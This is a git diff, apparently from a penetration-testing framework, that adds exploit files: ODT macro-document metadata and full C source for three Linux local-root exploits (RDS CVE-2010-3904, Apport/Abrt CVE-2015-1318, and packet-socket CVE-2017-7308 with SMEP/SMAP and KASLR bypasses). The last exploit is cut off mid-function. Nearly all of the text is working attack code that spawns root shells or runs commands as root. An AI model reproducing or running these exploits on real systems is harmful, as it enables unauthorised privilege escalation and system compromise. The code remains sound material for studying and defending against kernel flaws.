xlink:actuate="onLoad"/></draw:frame></text:p></office:text></office:body></office:document-content>
|
||||
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="styles.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="content.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
@@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
|
||||
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
|
||||
<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
|
||||
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
|
||||
</manifest:manifest>
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" office:version="1.2"><office:meta><meta:initial-creator>RD_PENTEST</meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>RD_PENTEST</dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:creation-date>2018-05-10T20:29:41.398000000</meta:creation-date><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0" meta:non-whitespace-character-count="0"/><meta:generator>LibreOffice/6.0.3.2$Windows_X86_64 LibreOffice_project/8f48d515416608e3a835360314dac7e47fd0b821</meta:generator></office:meta></office:document-meta>
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
|
After Width: | Height: | Size: 729 B |
@@ -0,0 +1,288 @@
|
||||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
// msf note: modified to execute argv[1]
|
||||
//execl("/bin/sh", "sh", NULL);
|
||||
system(argv[1]);
|
||||
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,143 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <err.h>
|
||||
#include <syslog.h>
|
||||
#include <sched.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
//
|
||||
// Apport/Abrt Vulnerability Demo Exploit.
|
||||
//
|
||||
// Apport: CVE-2015-1318
|
||||
// Abrt: CVE-2015-1862
|
||||
//
|
||||
// -- taviso@cmpxchg8b.com, April 2015.
|
||||
//
|
||||
// $ gcc -static newpid.c
|
||||
// $ ./a.out
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// sh-4.3# exit
|
||||
// exit
|
||||
//
|
||||
// Hint: To get libc.a,
|
||||
// yum install glibc-static or apt-get install libc6-dev
|
||||
//
|
||||
|
||||
//
|
||||
// Modified for Metasploit. Original exploit:
|
||||
// - https://www.exploit-db.com/exploits/36746/
|
||||
//
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status;
|
||||
pid_t wrapper;
|
||||
pid_t init;
|
||||
pid_t subprocess;
|
||||
unsigned i;
|
||||
|
||||
// If we're root, then we've convinced the core handler to run us,
|
||||
// so create a setuid root executable that can be used outside the chroot.
|
||||
if (getuid() == 0) {
|
||||
if (chown("sh", 0, 0) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
if (chmod("sh", 04755) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||
// a shell and cleanup.
|
||||
if (setuid(0) == 0) {
|
||||
system("id");
|
||||
system("rm -rf exploit");
|
||||
execlp("sh", "sh", NULL);
|
||||
|
||||
// Something went wrong.
|
||||
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||
}
|
||||
|
||||
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||
if (mkdir("exploit", 0755) != 0
|
||||
|| mkdir("exploit/usr", 0755) != 0
|
||||
|| mkdir("exploit/usr/share", 0755) != 0
|
||||
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||
}
|
||||
|
||||
// Create links to the exploit locations we need.
|
||||
if (link(*argv, "exploit/sh") != 0
|
||||
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||
err(EXIT_FAILURE, "failed to create required hard links");
|
||||
}
|
||||
|
||||
// Create a subprocess so we don't enter the new namespace.
|
||||
if ((wrapper = fork()) == 0) {
|
||||
|
||||
// In the child process, create a new pid and user ns. The pid
|
||||
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||
err(EXIT_FAILURE, "failed to create new namespace");
|
||||
|
||||
// Create a process in the new namespace.
|
||||
if ((init = fork()) == 0) {
|
||||
|
||||
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||
// handle the traps.
|
||||
if ((subprocess = fork()) == 0) {
|
||||
// Change /proc/self/root, which we can do as we're privileged
|
||||
// within the new namepace.
|
||||
if (chroot("exploit") != 0) {
|
||||
err(EXIT_FAILURE, "chroot didnt work");
|
||||
}
|
||||
|
||||
// Now trap to get the core handler invoked.
|
||||
__builtin_trap();
|
||||
|
||||
// Shouldn't happen, unless user is ptracing us or something.
|
||||
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||
}
|
||||
|
||||
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||
return WIFSIGNALED(status)
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Something didn't work.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// The new namespace didn't work.
|
||||
if (waitpid(init, &status, 0) == init)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Waitpid failure.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// If the subprocess returned sccess, the exploit probably worked,
|
||||
// reload with euid zero.
|
||||
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||
// All done, spawn root shell.
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
execl(*argv, "w00t", NULL);
|
||||
}
|
||||
}
|
||||
|
||||
// Unknown error.
|
||||
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,792 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-7308.
|
||||
// Includes a SMEP & SMAP bypass.
|
||||
// Tested on Ubuntu / Linux Mint:
|
||||
// - 4.8.0-34-generic
|
||||
// - 4.8.0-36-generic
|
||||
// - 4.8.0-39-generic
|
||||
// - 4.8.0-41-generic
|
||||
// - 4.8.0-42-generic
|
||||
// - 4.8.0-44-generic
|
||||
// - 4.8.0-45-generic
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] system has 2 processors
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-41-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [.] done, kernel text: ffffffff87000000
|
||||
// [.] commit_creds: ffffffff870a5cf0
|
||||
// [.] prepare_kernel_cred: ffffffff870a60e0
|
||||
// [.] native_write_cr4: ffffffff87064210
|
||||
// [.] padding heap
|
||||
// [.] done, heap is padded
|
||||
// [.] SMEP & SMAP bypass enabled, turning them off
|
||||
// [.] done, SMEP & SMAP should be off now
|
||||
// [.] executing get root payload 0x401516
|
||||
// [.] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for systems with SMEP but no SMAP
|
||||
// - check number of CPU cores
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-7308
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_SMAP_BYPASS 1
|
||||
|
||||
char *SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t native_write_cr4;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
|
||||
|
||||
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
|
||||
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
|
||||
#define KMALLOC_PAD 512
|
||||
#define PAGEALLOC_PAD 1024
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef uint32_t u32;
|
||||
|
||||
// $ pahole -C hlist_node ./vmlinux
|
||||
struct hlist_node {
|
||||
struct hlist_node * next; /* 0 8 */
|
||||
struct hlist_node * * pprev; /* 8 8 */
|
||||
};
|
||||
|
||||
// $ pahole -C timer_list ./vmlinux
|
||||
struct timer_list {
|
||||
struct hlist_node entry; /* 0 16 */
|
||||
long unsigned int expires; /* 16 8 */
|
||||
void (*function)(long unsigned int); /* 24 8 */
|
||||
long unsigned int data; /* 32 8 */
|
||||
u32 flags; /* 40 4 */
|
||||
int start_pid; /* 44 4 */
|
||||
void * start_site; /* 48 8 */
|
||||
char start_comm[16]; /* 56 16 */
|
||||
};
|
||||
|
||||
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
||||
#define TIMER_OFFSET 896
|
||||
|
||||
// pakcet_sock->xmit
|
||||
#define XMIT_OFFSET 1304
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
||||
unsigned int frame_size, unsigned int block_nr,
|
||||
unsigned int sizeof_priv, unsigned int timeout) {
|
||||
int v = TPACKET_V3;
|
||||
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_VERSION)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.tp_block_size = block_size;
|
||||
req.tp_frame_size = frame_size;
|
||||
req.tp_block_nr = block_nr;
|
||||
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
||||
req.tp_retire_blk_tov = timeout;
|
||||
req.tp_sizeof_priv = sizeof_priv;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
||||
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
dprintf("[-] socket(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
||||
sizeof_priv, timeout);
|
||||
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_family = PF_PACKET;
|
||||
sa.sll_protocol = htons(ETH_P_ALL);
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_hatype = 0;
|
||||
sa.sll_pkttype = 0;
|
||||
sa.sll_halen = 0;
|
||||
|
||||
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] bind(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_socket_send(int s, char *buffer, int size) {
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_halen = ETH_ALEN;
|
||||
|
||||
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
||||
sizeof(sa)) < 0) {
|
||||
dprintf("[-] sendto(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void loopback_send(char *buffer, int size) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_send(s, buffer, size);
|
||||
}
|
||||
|
||||
int packet_sock_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_DGRAM)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_sock_timer_schedule(int s, int timeout) {
|
||||
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
||||
}
|
||||
|
||||
void packet_sock_id_match_trigger(int s) {
|
||||
char buffer[16];
|
||||
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
||||
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
||||
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
||||
|
||||
#define V3_ALIGNMENT (8)
|
||||
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
||||
|
||||
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
||||
#define IP_HDR_LEN sizeof(struct iphdr)
|
||||
#define UDP_HDR_LEN sizeof(struct udphdr)
|
||||
|
||||
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
||||
|
||||
int oob_setup(int offset) {
|
||||
unsigned int maclen = ETH_HDR_LEN;
|
||||
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
||||
(maclen < 16 ? 16 : maclen));
|
||||
